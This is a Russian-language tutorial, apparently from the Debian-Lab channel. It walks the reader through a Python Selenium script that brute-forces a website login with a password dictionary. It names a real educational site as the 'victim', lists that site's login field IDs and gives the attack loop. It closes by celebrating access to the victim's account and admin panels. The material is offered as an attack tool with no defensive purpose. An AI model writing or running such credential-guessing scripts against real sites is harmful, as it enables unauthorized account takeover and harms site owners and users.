Пишем собственную утилиту для брутфорса
Debian-LabЗдравствуйте дорогие читатели Debian-Lab, сегодня мы вместе с Вами напишем собственную утилиту для атаки типа bruteforce на любой сайт)
Подготовка:
Писать мы будем нашу утилиту с помощью модуля python3 - Selenium.
Для этого нам вначале потребуется установить данный модуль с помощью менеджера пакетов pip:
pip install selenium
Для работы модуля Selenium нам также потребуется установить WebDriver:
Если у Вас Firefox переходим на официальный репозиторий на Github и устанавливаем последнюю версию geckodriver под Ваш Linux, после установки выполните следующие команды в командной строке:
chmod +x geckodriver
sudo mv -f geckodriver /usr/local/share/geckodriver
sudo ln -s /usr/local/share/geckodriver /usr/local/bin/geckodriversudo
ln -s /usr/local/share/geckodriver /usr/bin/geckodriver
Для начала - узнаем свою версию Chrome перейдя по ссылке chrome://settings/help и запоминаем ее.
После, переходим уже по другой ссылке, где и скачиваем WebDriver под Вашу версию Chrome. Затем, распаковываем файл "chromedriver.exe" в папку с проектом.
Пишем код:
На этот раз я решил написать утилиту для брутфорса сайта https://informatics.mccme.ru, где выкладывают различные задачи по программированию. (Символично, не правда ли? 😁)
Для начала подключим модуль:
from selenium import webdriver
После, создадим переменную от которой и будем дальше отталкиваться:
browser = webdriver.Firefox()
browser = webdriver.Chrome("Путь до chromedriver.exe")
Теперь сделаем так, чтобы сайт открывался в браузере:
browser.get("Ссылка на страницу авторизации") # Страница авторизации
Следом, переходим на сайт который у нас будет жертвой, и узнаем id идентификаторы текстовых полей input и кнопки "Войти"
Данные идентификаторы можно узнать выбрав нужный нам элемент и нажав ПКМ + Исследовать Элемент
Как видим, в первом текстовом поле id = username, во втором id = password, а id кнопки "Войти" = loginbtn
Запоминаем данные идентификаторы и идем дальше:
Создаем .txt файл в котором будут храниться все пароли:
Например я назову его "passwords.txt", это некий "словарь" в котором будут храниться пароли построчно.
После создания файла, открываем его и читаем его содержимое:
f = open("passwords.txt")
data = f.readlines()
Теперь переходим к самому интересному, реализации брутфорса:
for i in data: # Берем каждый пароль
i = i.replace("\n", "") # Заменяем символ переноса строки
browser.find_element_by_css_selector("#username").send_keys("Логин")
# Находим текстовое поле куда нужно вводить логин и заполняем его логином пользователя
browser.find_element_by_css_selector("#password").send_keys(i)
# Находим текстовое поле куда нужно вводить пароль и заполняем его нашим паролем
browser.find_element_by_css_selector("#loginbtn").click()
# Находим кнопку "Войти" и нажимаем ее
Запускаем..... Видим как браузер открывает информатикс и после успешного перебора - мы в страничке жертвы!😉
Поздравляю Вас! Сегодня Вы написали простейший скрипт на python3 с помощью которого можно брутфорсить сайты и админ-панели🎨
⏳ Наш основной канал - @debian_lab